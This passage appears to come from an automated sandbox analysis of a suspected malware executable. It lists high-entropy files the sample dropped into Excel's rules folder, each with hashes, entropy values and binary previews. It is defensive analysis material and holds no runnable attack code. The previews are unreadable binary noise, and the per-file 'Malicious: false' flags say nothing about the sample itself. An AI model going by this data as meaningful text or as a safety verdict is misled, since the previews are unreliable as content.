Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.895326861304897
Encrypted:	false
SSDEEP:	48:avRf7oNHefYgMrvFsecKauNmETfAqfaX78vXECc5nf/QrGZD:avRMReQgS9seZa03VvVcxfOS
MD5:	02779528A71D36A64C59B43C83B16281
SHA1:	5109635E4E26BCD82DFB13238745DBB7BFE48969
SHA-256:	8965B8AF0426453D03A376C62CB47C26734EAEE2136323573F539D239766B480
SHA-512:	00287D0B001E6009F36E36906843715803913CB444565373D8C1865FF18B18ECFD4DBAE0FF6F797CC895883C0430E61FC575D0ED2CB27AAED8896329BB10E720
Malicious:	false
Preview:	<?xml+.C..k.../...Q^L.X.H+.C.u....0.0...9!(...e.hvP7..\....+.KGi.,=&...d.c....y4.R...-z..yf....m......B!.G.....c....xK.P9.......o~.._ .......'<.....;..\..o.tN..Y.H.Xq&...q_.hwz..VDf..t.?..H.<qD...>........P~0..@.ror...=:.J....."....m#.....9.Y...6..0.,Y......U.Ln.W1.)&{..Tk..<..{'...m.......Q.c.7.....Z...n7....l&...>.E...'d........./.d....P..O........Rd..T..os..38..".y....NQk.!Z...8..n~..3.<..m..<...g..HK%a{3O.....$.V....]....U...#[.T\|Z..Z..o...$..$.....8X....B.zU..S<.%...L....V.\|.._Z.t..V.m.yi -.R..^dH.C.Y..#...y$..A....P...L.A.&t.'1z..N...G.o.....u..U;e.U.S.Z..>.Y.x....c...v. .._.." .~.P..$d&..=.t...D*i'yL..;..&).j}......O.q.....\|....I.r(E...y....L...9f...=..`E.....g.R.k.W....K........Q......b.....==.....;.+.4.r...F.Ho.K...jb6...J.C!.i....U..\|..'...#w...y.@F@.Z'..}..u..Ry........>....e...'..D.'tP.......Q... .....;....!.+....z.?^./%kd$.j..4./..c.........~....}...l.O.$35...==Z.j...#.....G..l...T.N~........9+H.\....gQ<./.9.z...^.,xb

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11370v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.792777763956109
Encrypted:	false
SSDEEP:	24:ao8AqfDf5z4ls/52HZcFiZWcJZahwdmzm1mq9byILkbD:rRGz5clsh2UKjDawd2mQq9byIaD
MD5:	216E832DD3F7A556FA084FA21EE0132F
SHA1:	9708FD7E78AF7E677D6709B5657F0BBBD341E631
SHA-256:	5D5D34A1360D9C8BBD6BCD16014CCE859B519819A5D43CEC2565D9B9E71378E7
SHA-512:	E7B09EBE2CE9710207954CE3F981F51AC1E6E8A86CDFBAE8A4ED1F02E056835A62EAA646652BAFD76066FACDE2952FC8D980579B2B7B1BA30A56C95FF768E8FC
Malicious:	false
Preview:	<?xml..........};...E....;..Hz..1.e...Q....6p.a.B..._.^...B2..<.\|....hJ.s%s.....F[..Vog6Y.z.2....z.c.4A.%aqBuG...:..\|%...'W.U.N.r....a.\|}F..7.v..nf...; ...=)F...EP.r...tJC.....(.qJ.F.I.x.>2......0z..W....G.c..L..o...._{*}c.....o.j.../M.'..c.2.....:.;/''.V...7......m...(FO..p.{W.7.......H.%m.;.. .Ec...._W.1.....78`).ca....A...X7..SN.p..y.iX...L.Cw.....&..........Z....y.3.E ..R...iWWe...I.I...p#.V..{...0{p...$....^Q.....)Z.C@.&..s.g.yUn...Y.u../....x..Q..^.>9....Cya.2p.l..M.....#.......a...,.w..at..<....z.%...O..6k./I..o..~U#...i2..`A......u>g..zb'.W...%.e.C3...&zS...."...q!..Z.W............Z.C.D......)+Sm..'<...[.X...8.~q. ....Q$.J...\|l%....u..o....K.....{RAe....J.../...B..a....[...1...sK.8.H..W..........."b.-.. .c..gMA].rb.4V..^....>...,.vb5...,[..tr......6].nLzk..-0..Y.{..A.W"....oPY..I;..\|.X!..:.J.u.7.L.9U%....&...1....\|5.w.,..}..E.....6.....+I,7}^C^U.v...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11381v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.933929257473171
Encrypted:	false
SSDEEP:	48:4LI8mPkpdEJoS7H6XevudRxMbLF4Nrz6CpIiIlZD3w4PdNidNOxyy7ghWoyQD:4887bEqS7H682xMHopIiED3wIdNidE4N
MD5:	08558688A54ACF0C69318758F8B27EF8
SHA1:	437BF6EC674CA80FAFAC2C32E84701921094C1DE
SHA-256:	33D37107EB6FE4B492C3237AFC146DB30D8D216D88E305E91677AB66084453CF
SHA-512:	1BA419E7318E39FFA4EA8B4D694A3B82A995439116DF1359A976C36078D3EF3BD077402D5FADDB71AE2447AAD8036947744F926C2B6B7C514C11D83CA0966408
Malicious:	false
Preview:	<?xml.Uk...b..GD2..R.?.8C.'...2J.=...#.Y.R{y..RZ...}[)'.5l..^l.tc...J%..c.....?U/..A=j..'R4H...../....y6Z.s..r...=.."\|....@.t...r....C..H&&/...E.=sU....j.].e...?.....(..i...F^UmSc.....%..BG#..q.\|.h.....;....G..5`..&...(.oL...=..gh_g.....v..[.....b.pB.V.U+...t{... 9.p&....o:B..o.+Z1@=....f...9.Rp....S.6....{...+...._.\..H.Y.....B..../B[A..7\|F.1...C.kX.x...Be.+..k.<C..cEh......f.:....f..1H.}j1..U....8.........Et+...sq......~.p.h.Y!t.....e r...\|.;.6S.H.....-....H..7......T$....U+.b.R~...a....x...#.:..".B....(H.g...%.N..:...?..~.d.U......G....D.h.p...sI.#......B.<UA.0c6.Go.7.Khm.tSR..^-.#.s.h....Q.&%.:.b_.....[..4V...cRa...Z.Ul..jO/<U.+'^i!;uo...gS/..=G..j+."b...ya.......k..[...88..z89.^}.C9B..4.1f.P...J.<u.}C.:.....Wd.e!.....H.Y..F...Z..!..{.h.o.g.i..=.*I?..t.7..f.e....HJ..........~.267..q.\VJ.;.1.Fd.j./...B.4..'..../..... A..vf.n~.).l.y#.RG..._@................#....X4@o+L.HnO..E\|.....p..-{.8.:.P...t..8....d...7.........n,dq.J....}./.<..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11446v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.9812974430490735
Encrypted:	false
SSDEEP:	192:mtWfsziXGJR05i7Di7Np2CD3HCxhm17QTh456Nf7PVOlSn5gI1EInlI3Abt3:mYfkiEYNNp2a3ixh6U4507VOY1EInlE6
MD5:	3C977F976139ACC72BC2D7449F882A8C
SHA1:	BB33960CBB0EB24E8AD29CCF9FEF352AD74C93E2
SHA-256:	AE7A0B7FBC01B4F9C30E66754131193C136E6A787B68C5691C83C9F384616103
SHA-512:	F8BDE9E4F993E4A4E60A22734F2EAC0E096C2DCE0351586CED599FB2FA2F6CAD1F48FAE6497C5279398399788D2F3AD7C833900CCDFE279888B629CAC6519A22
Malicious:	false
Preview:	<?xml..F..'.n..K{..P.0..IMB8G..n4.54.#..~.Hz....x....M.}+D1?8l.9..=....1...r...q..d.#k}V.7.d.@.5...g......I#&.....:1x^ -....R.g.s+.t......4..%.W..z..mT... .^.VB...G.......1.W.MU-.%MF...R1..V..X....4w.K..:.....[~.g..X4..=C.....O..B.#..6D.....V.."1G>.O@.."^p.>q..l[.K..}..V._..-...De...<....U..,.y[..@.F..4.........^2G./o..c5.T.<....N..0d.X)....d1W..wL..........zR..L3...o.......m....6..6..!.(.l_...Y....Y:......@.....`.l...K R.B....})J..I.>.M.Vw+.Oa.m4.y\|h+Q..$..3..C....`.c.4fv.x.I-..%....LR..R.A....].. ..$._2../...,n......$.......C..u..{X\|...WoQ.....w...p..$..K.....g..sL...<.\|.]...;u.K....Mn...{..T?.m.4...._h5....t}m:]...%5..DC.....Y.hq...i.A\|.....p.......y.a-f....)a..13..X........V.:!..9Z.T.#/B,...!.?..5.WRnU..a.h.zp.b}A.2.....-.t....:..9..SiO.eX.5.m...T.t.h...3nO....5T...G.7..e....`..W.....C.Y......C!.q..U.........g\|.."?.1.....%..1$..B.3.J.'>iDFs.^...K-..n./.nTZ.~...w..y4.8}z...MI(.C..9..leZ.$Gl..RFk.v..'0%....V.O...`.h%...R9..o.C..3z.....E.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11464v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.701698651816387
Encrypted:	false
SSDEEP:	12:tNplL7C1lHs1ELvyKm7dslOO0FhCdNCmBuF+dakAhCADxu+Prgcii9a:tNplSDHdLvylsl50bCdJYkAhpDxkbD
MD5:	15126E69D1515C69F453BAD0516FA0FC
SHA1:	2891B034B99AE5803ED06C6B942BD5A122E9FC56
SHA-256:	3F3EEFFE6768C2C75140B1FBFAF74B867E2A06CCB600CB86C4E4EB45F4576C3A
SHA-512:	1C1A46A3F71CAA564B4BBEB190E51248E05D5823C4A25114A6E3CC21DD51AC896635595B11DB46921AA2EE4416B9DC78AF9FB57AAC8766B925391F07EBECB058
Malicious:	false
Preview:	<?xml,9].h.<...y8.....?...1.#.X...mx.8..,.....@...~....5..7]It...p......9......^V..#O..g....08.f.5.\|i^.....s..B..m=...@7=...!Q...n\|.G..B.eW.....t....e..'..&.`..R............wB0..v.3....&.......P7J.Gn{<x..o.......6.....I..u.(.3+S.7..Qp..8-9....N...Cn:..N].<....k...^.%...$.{(...K"jZ....0..c. @.b..^Z-.%...0....3Y0A..........K.c........tZ.Y.}4.."%.....v.<.+....7;....Z4}....}.$...m.4..?..._.m\|%>-0L.....V.r......+.../.~.....;...T......S.PX.ieF......!.D(..U.7..4.n........lr.9../..Tc..79.I..f.0......3c......t(..^N...0G......#...K#. O.j../..4......8n...p...PT,zR.,.;w..8`C.....,9.0.;..3S.(g..e.h.U.\|.....JO......;..R.....E.......K..S.........U.x.....}....b.M.w...T.t.....{.N~P.L/.qA..."`LzF.....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11498v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.659967949970589
Encrypted:	false
SSDEEP:	12:Gh4+s7NBAzPePH5DdRebKHHS46qge1QsuIv/F74lLnmfPrgcii9a:G3s78ePZDOoJQsuIvhELmHkbD
MD5:	429350D33A99AC4A6D178E1F399248DD
SHA1:	C4A61ED872EC67D95A8B160878D2E13A8FF44FAB
SHA-256:	D10C60710390DF3D2E4642A88F521DA74C139E593DE22167EAE302A9824C0919
SHA-512:	39F15698D50FC0A29D07E2385938613CD851B77840BFE59DDE7822377A221BAF35EBF6AC5C43EA8724A006603B6CFDAF78A3D7CB1AF6ECA798D3D9E089F7D382
Malicious:	false
Preview:	<?xml..e%j.GTA.1:...M.rX...Y..[Bi..../.1.".-M.f.#...(.+. .........:6.+j.2..o..%FN.4\|(...ty.t.V...m......!,;^.\|.&.(.f3;...O_M./.(^*I.B....7...W..(..ys&{.D..a...._.....R.Ey\f...f6..Uf.u..S...."u.$}..!/M..Y.uPn....Dy'.7..Eql..k../..'. .C..^3.{.L.Q....%....o.s..v.......!!A....<.........2p^.....t.$.....y.c/..@....84.;{(1i..0\|..\..0......~...E..).!'0.}......-/.=..7..)."./..W...#w....rr`.I\|.....0W../..Y....1.:."..A]....\|..h..G....n.="..U....X......FT....`..[...4..'..[.;O......B.. Hl!?a..2M..]..B..p'tR.....C.W..<.J...`iV..........`....I.3._).V.l.c.d.8.B5J%Ra"W.......xI...S7.1....nu......s\|F....g.w.W.".... '@.c.g...lA.A))....q..-...MmdYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11499v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.879548166813315
Encrypted:	false
SSDEEP:	48:QB6rvjV8duUGdHGr22ggzb0vuDOWBmkJ+6KXav7sHaD:fredu5o2l4wLWY16z7sHy
MD5:	65DB90428AA696BAC63743DDF1A5FBE2
SHA1:	7360759B577871C1877739C1AD439FB179F1BAE7
SHA-256:	9FD3D63D4CCE9A8A2980AB668908DC3F75BF75CC3F5C803BDA1BB5B11BA296EC
SHA-512:	DF273BCEB88268FF85391DA15332EDBBD05BA50F5AA07609A41CEFB90E17488F2E0028AB6A47584B694DBEF2370B11628A7D5945898B7F3C42C6BE5076EF5380
Malicious:	false
Preview:	<?xmlP...R..-<..d.t....z..,+i.e.u..CS.S.,..{.v...;.k..X..x.SK.n(...m....o.....g..).....Z.4..@.....:.2....<.\N.5...!/.3...9W.@...+..S.... ....=..B).5...p...fO..P.N.....6AX ^.l...v//.X...E9.H.[fn.td..B(.k....\|....I'.!z...!.5..t....ON....7..U.c.f..g.(y..o....D.P%..].....\..:.G.=X0.....l........T..i?........[.t1...D<..-C~.5..Ni.E.s..C,3.G........gM?.k.l_.}{N.E......H.mj..../...b:.... ...o'..-.d.g....F....9xz...x..&...V,....-.w.......u.....IXU.;......B.b~..q.h....A.........@o.....+.c..\........M.R....Ps.z.8....~m............9.E..s.q.......H...N.%[.a.?.H..-.+%bY..8..&.v...NS.jB....+.E.I.]KQU.D.......!..X.ZZ...K...1P........a;........c~...W.s...$.7;..\|.'..)x.......2..xn+B.(..3.l${#.>..r..#.....V..R..Q!.......0cps.5...dH..lq.j...4.y.".../..._.....@....F.q.x.E....\..V..\......q;.....!.C+...$gg..].+....N.g....%...#.V..(.O'.f<]........(Gk.o&..t...4..&.-9A.P;K..<...I.q6............O.TG\. ..4....@q.9.+....1.p5.Z...J".[....E.ti.n9....L..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11500v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.736918902833801
Encrypted:	false
SSDEEP:	24:asfIvbgHvarXD8g0qq4w0KcDWJ///+tFgx+NkbD:fsCuT8g90//OFfcD
MD5:	0B0B55668776E8BCF889AC63ABAE2663
SHA1:	9E90CD2A9E7192B8D757271A0B36723D63D80EEB
SHA-256:	7D11E443447D5D4605396C2958A6AC74593AEF53BD269CCC7B26474235BC02CF
SHA-512:	8DBC05FFBC2AC928CAE73B596F5039012A8F24529C838D61184CE04CBA1F18CB328FFD47EB86089648E3A1D771AB5B02B4D15206E33D5FC8DCAE139C6128337C
Malicious:	false
Preview:	<?xml.]z..af.@.....a8...f>};.K..U...:5.~..V...9........i.lj.j..w.Y....'.$T....)..e4.d.........T.....%.Sp.sN5f.."..b.F..(.?.x...9g.u0.-..V.n.....gpy.x.SiSzn..>;...}....gn..P.>...\+.9.%.4...D^...L..".\|t..~....Sz}....Z#.Zq0."_........?...@G.c?..%q...k../...y.z=.gE..Z..C}$4...;..6.j.u..^'Q.[I.s....v...W9.I..I..j..5..O...W.....,..=..rb=.zf$....Nh..)LC?..U.SY........y<..f.EZ.O..U4...+.P@...O7....\.].~.iO...l5...@...].....r...y..Z.W......=t7.b.:n.l!..3.:..$........6....\|y..NkXi....o6Jeu.i.z.4f.....L...7C...".o..eM.p.l\|.m..6...Se..u.G....x\|.<N..>\|....#3.e..57.u..'..A,..uLz.HV..+.....#.FwwN..A.......&.b.V...T~..:;..X..Q..;........;W\j.A.b......&.v..\|.uUO. RsY..of..g.)..y.?..Ia.).<.. ...C.z..i....'...E.3..lX....O...ek..&....Tw.L...8...x.20......{.^..F.R....CJodYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11502v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.8395061091633576
Encrypted:	false
SSDEEP:	24:0Td7Y9sMU52HL2R0s4XRxuYQve/Z0heRyEKgx+bL8BFIjHUEyRpIkbD:l9Jw2aX4BXVZ0hDEKgob4BFIgdTD
MD5:	D454F4E5AC6586B0AE83E629A31B71D2
SHA1:	4F3B362CCF9708A263C0E5C5178E9F42F8FA301E
SHA-256:	8B3F374E636115833757C79AEE7E7E5B9F0327354A8112E2CD81BE2A53F1FED0
SHA-512:	4FAB891F439917617FFF7BB56DFCB425E96CB61118989E2D02197EC0F0BDFA9347EB0A05D2E3090AA8761127976E77B0AC547C96E43F6F61A9376EC0C2C094F7
Malicious:	false
Preview:	<?xmlk..>R.;.4.uQ.....O ..]8..........S.{`{.W+k.c..X3.z9..+.I.e..x..Ixd.QB....W.q.:..o.....H..."Y.........W.s.W..L.1o\.[..e.ohV.>.6....9V......kU...y.oG.dl.6a=.......~....ja.J.....$.W...M.2..L ........7T.f..F.dc%T...B..\..@.l...[=.......;...vo..<..O......#..B.-G.8..`..M.x2.s.?);G..P.pDF.vLX.s.K....?.C,~.]".M.XPS..kj......oo...%[.v..x..Ry........L..]...?Y.Ge..m.<4.".d...y..M7. r{.}>...r...(..q.Z0.....n...J....m ....Y....b...n...F..[U...\.....:vV..C......s.4j.RP\.(8.....\cd~....1....)..1S.b.....Z..@........V.xGX....G..q.....@}.......x..g.&.S-M.;..`Z_.B2./.8....@...K.6P5...~V.S...G.......>R?....E..6............*......)..f!:O..p..0.<..2v..H.R.z..<..5\..`(.....2+.N..Qw,.c>..(.RUx=6...`......V.)......J....5H..k..n.j.M!5..CV.......1D..-F]...H?...9.r.i1.E.ZVs.!5..f.A@.s!-nI....,I.S./6M..N<....Y.4::.!.J.p...^J.....]\.....SU.....5y_M;..P.8<Sc...(...H..=..`...Fl...]...v..$.Z.U.F..o..6...X...I.......hn]...l.j..O.H....\=....U.\.."...R.i....p.N.(b

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11504v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8572866949712585
Encrypted:	false
SSDEEP:	24:NElpwP/vM0Tb10CAi0jY6XDKwLGuN5l85NyG4AMxIW+LvebwhVEI3jkbD:ea/00l0HZzKaN5lglikLWsX1iD
MD5:	D6495B3A5AF6BB4D8DF26B0D0DB285F3
SHA1:	85CA260D6160CE4F881E83FF9D07F6001756E616
SHA-256:	A97778F55959188A0F41EC179B1A3E330B8BB7E0B482FD91DF29CA8DE882136B
SHA-512:	7248BFF85CF3BD78C323B95EF8AEB375AACDCD66BEBB89ACC61EDE8887F6F009C5A1E6DC84840469205104F1E5C9E12AFA3D52958C8A358184FE27D5D782C8B2
Malicious:	false
Preview:	<?xml.X..!.F.dN...d..>.g.. ...4VZJyj-,....J...x>5....~\............;i.[..N..L.>\Gu .d)5.~X..]x....h......).g.M:B...w.C[...c?K/.j.h...c.'.+..."k.....S. Yc.d.tc..Hd...T.=}..`.....v." @."...=...x.....C...a^Vo.-.U....?.;Fk.z7j...(n.3....?n.......8.H../......?..\....1&....u....l3..Y..O...cv.v,%.G.,.@..'.4.$~..F3ED#.....5...T-.Y...'....}.d.....p.N....b.....u..m.f...8H..\|..?..W..........6...8..?..-.....P.#.O.3....H..> ....+.EoX.Ml.V.....]H.f1=.k.1L.e:D..\|.....>%...r.....\|zk.^c.}....gy.../......,`...Y..Y19}<..p.......C.c.<2..J..X.8.#..........~..Z.E.E.GC..b......x.:.H.]O~?37x~..T.H.H.".ly...ZG..4......\.Oks..K,_...[FsR......a.z...x.[..7...lx]..x[BB......v.p.5b..Z...2..C/.n..V.A/..5....6G.3.."..b....o.`.*..Or.E`.r...R.cl.>6..f.....F..9)g.!......S..{;.L...S..(.43........".n.`7D....e,8.X..Uc.k.......;.B..B}.l.....~.........8j..w....j.....P.>.W.L>...r.b.....;..3..+x...^....N.[..\|..3...j..L.tE.{..........;......O.o.W....L.P....).$.....\>..;..b....d._...N.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11514v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.9750971452292765
Encrypted:	false
SSDEEP:	192:6OOlmtXw9iV4MvCz8Qu83v+vFWUqBoeLC6:6ktA9iSMiB7v+dkBC6
MD5:	D8A94E0C6E9FBE081B3982B423B926A0
SHA1:	D2C7688E89E43BF167941E9C47715F66D61DF28C
SHA-256:	71DB5C7FB6887D00A30FBF4C3A6DBEAAB8BC8DFEBDE8053C8188F7F82B44E5BC
SHA-512:	7F2BD388D47419A5F6BD8C0E17FC2330508905AF7B85C3A1657ED443B62A50A8F9EEF88AA982B19A5B7AAF9D0DBE453222F3DCCD9985E391864068D703DFECA3
Malicious:	false
Preview:	<?xml&'.[=q...>gU{....2...+kI%...W...C6 @..O.,..-.ak..h....K....BI.(....<W.Iy.W-. .r%.3cw.....F.y1&+.....<....f.l...%....)uRsk......>......IB.......%=1....G.5@.....p,..3M`.QO.....N./.......e............r,^J..g/...S....x@.}{.[...(..e.......'.y.........,hK../..PX..vW!..../W..5U.."...5].d.....jxd.L.P......'.8..A..F...`Ae.EL.R..c{......FS.p\]P5.. k.c.N...."V...4...4.;'..K{..e.V....}g..+.y......+&..T...)&y...I....._...c.5.-..".9.##.Ie..%.....".....l;........[i...2.F.m.L......./.e..............1-^.X....rZ.\|.F......a..!...).q....z....e...+.O.........u..IG.V=[]..5D..Z_..Y>J~..7yK99.U...H....^6..tE!]z..w.>!....&J..<W3...'.9p..x.......c.A......oI@...S....,Q...y9B.s....g.71....{...l.!S....z(.5..H.....3...o.W.Xt_.....{...m.;n...+N.T...+.+Z.f.8j......tg.....&.i!.jg..D........N.iP.%...[.3(.BXT...].I."T..V..?i_+=.c.kF..c..i.,)...(..e..\|H.'.{.z.6.s......x.%OdA>.T.;.~...<.3F#.jXf_.Y..'L......K\|.u...t......E3....y.>5.,..3 `.W.....".T\d.s..3..t.[.km...[.../.h

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11659v0.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.674568237323427
Encrypted:	false
SSDEEP:	12:NqvLO7PjG8RYS2i0/f8E5h9sY2CDnK+l7pAeMSvoFyiyP6d4cGYbYlRDu+nreGjw:NqzKrP0/f1gZCjZp1jv0gP6qcgbDnnK7
MD5:	41EC9AAA4A3DB70310F9F68EB790223C
SHA1:	0B7765788010749A0180A9AF56500581C31911D4
SHA-256:	56FE3E4887286CF9A079340CDF5E236AD4FC3431B3AA2063A9B251ECF0340FA7
SHA-512:	88822555E06BE7EDFF4FFE8DF1689B4E7B9F1C4F2018482AF4F1F79E7B77CC681EC13877BAE42C8CA440F1B93FF2A10956E33A3F20A801B96164EF0DE917F173
Malicious:	false
Preview:	<?xml.....D....2.(3..........oy..2..(....'...c>.i..).F^.. ..o.S..J[.e.@.^..-..T...UR.4Jx?.X4'8.J..pJ.yos..[N.\|....7&....2* ....yUN..(.m.....#...v_..D..~"...a......T.B.....f....M.n.V....,..4....M...j.q:.c..K.] ]n'...>P.....]j$;.....(....y%.&1.}z.j...>4)..w....11e........B..X`..a.;....Y.a(6...c..ss.;.^.P..J..$..H...:.K..o.^8..r.....c.}Ky......Op...+.4.....[..g.~M......~..z]...........fj2...h.s)Y..h.w.qD.W...X....._Z......l..e..c.....7.7......M.`e&.C.w.@E....#...kC....%B....b.hdg..<..1}i....<..5.~+.\.{.L>...%.5.i.N....(...e?......%..E.W...<..x...w...#.R.'.Ch..6cwNB.......Z.....Vs$.o4...._7/W..H.?..g....Hu...Y...t.6q.D..hy..0.Y@...V...Red0..:K..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11701v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.873835541612521
Encrypted:	false
SSDEEP:	24:B0F0Q8V5VwC0rH9hF6rjpJa83D5AJSSyOQpeCD0918nKGfqrlT/kbD:GT65eC49hi53D5AQOyxFKGIl6D
MD5:	7590872937D967E26EF65BFC640B4719
SHA1:	F8C5AF1CE64A5EF4C0ECB64B472E4711A695D00A
SHA-256:	3BE5D022FDD99761A3BF10AF5142002C3144EE9898D5AFB5189DD3934D6C4E21
SHA-512:	A4684874E0BBF89CDBF905FAD780D22B91B3BDE3A6E6CFD79D9B5D25A8FEF8A368C6793AB4BD4160CE8A0C453E8DC13FA2AAD74557526BE9EA1EC2055CB7303C
Malicious:	false
Preview:	<?xml2........Z.hbJ..@.cgKgc#5.^.#.l.]Y....E.NR...zm2".i^V..#........-CEy.m....ui..;..?...[.5..2........H..O`...38.P......F...\......A......V....=/..c...h{.<..Y...\........T..O.g7.=.g.%.........I>.X.#1..Bmh[.D..=...i....\l2D......K.c.4....P....g`..M........'R..}.....i`..j....S..).."....y.../.a....9..7aU...g.3...n.KB..].(.yg;.=l..A...4.K.V.......^c....gg..(.....)...+..'....)c.U.o..O....9j\|.r>}...F.............:-....`..q....,...j.H........f\|..\9%.hq.y.3{...+...<..e(~Q.a...?.....?.)..l.-@~..u.(.$.....J[<h.#.k......oii...&.#...,.+.<..wK...U...........Q.5...EFPes...l..P.0..4.#..._O..[.Gzk...A.'$&.....g..gZ7..U..rtp...... .....hY.;Or ... ...F..i...Wot0U.?7.,.=.......P.s).z.X;.....m.9.oZ...Z1...U.>..\w...+....<.b.d...s^!.L..M.v.}.k.+......+....t.Dl.A....v....l..'NH_.......(1......[.7...$...V.Z..d.o.^...1..M..3.4..Y..&.p...).q.CiT$lAP.?.......L....."...J.g1.@.......oZ.~.Y=F...C.[...s\|. .h....~.x........z .].R.6..".....s.//P.C8.....\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11705v1.xml

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.940103751775266
Encrypted:	false
SSDEEP:	96:CMdVWbUNhQPpCS3AKZZ1aV+mJcHHRtMbs//1/:ndQgN2PpCyZZI8mJcAonl
MD5:	2F5772BBC3C58EF6CC7ACD83CDFA0125
SHA1:	D2A28936A47992FFE86F84ED43FA7F70B94D8C29
SHA-256:	59EFFFCA7FAF6B12D5D946A8847B3717E5AF7B2C4847683552A4D79311B9E370
SHA-512:	1B9B881231421C752BEE1C27B60AAC367CAE82FA043613B4B5359B895BA65B9DDA3264CDFE70A0CCA738D4301114D766938B92D2B6F0406C33C036D3C1B64AA9
Malicious:	false
Preview:	<?xmlN.....,d/M......'....4...6K6."y....2..\h....7H....d..2~...&'.b.F..J..^a.~.9....I.."..........V.jJ..3@.%YC..4.`.m....6...m<.:...h........7.........."........x%F...aJ..q.`/....I.@K{.._....l.....L.,0;t..b...!.?]..c.1.>.B.m!..D.......@...[An..Y.....,jnT9..C....BX.@....5<....@.../k..3[Qk,..B....9.d.0(... .Gs..{#..z....uX..?.Z(.r..}0g.wKo.n...&..O..0......K....P..5....k.(.....W....).J.....h.j...N..&..f.....#@.zm....5+.......F..e.f..C.....mL....h.R........]6.Y....t.....4$../%..}..)6M...#5.7.F../62.}!x.w+q.pw.........>...W...l]............[.W..)..D..s.NX..4d.1.p.s...\|.w..m._....7..B.....B.....AoG.c)....Q.q5....^0n......5..Qh.....-..h}.......{Pt...T..>>./.N,EL.y-.\...uC.M...,.>.#.....h.....U..._X.q.C`S.#P8#.........U..Q.2....m.B!.=.U.%.@.... ?...o.M.....F.\|...mm.CZe.....-.m:..S..s...by..u..D.v.g")......g_.q.3...w-\C<4.....~8.D.X.s..[.l.....N5.._...\.]k.c.)%..e......]A.1ES4.=.y......h#{.:.&..~H..xs<.`...@IFf..?.O. .YK..er.K...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11710v0.xml

Download File

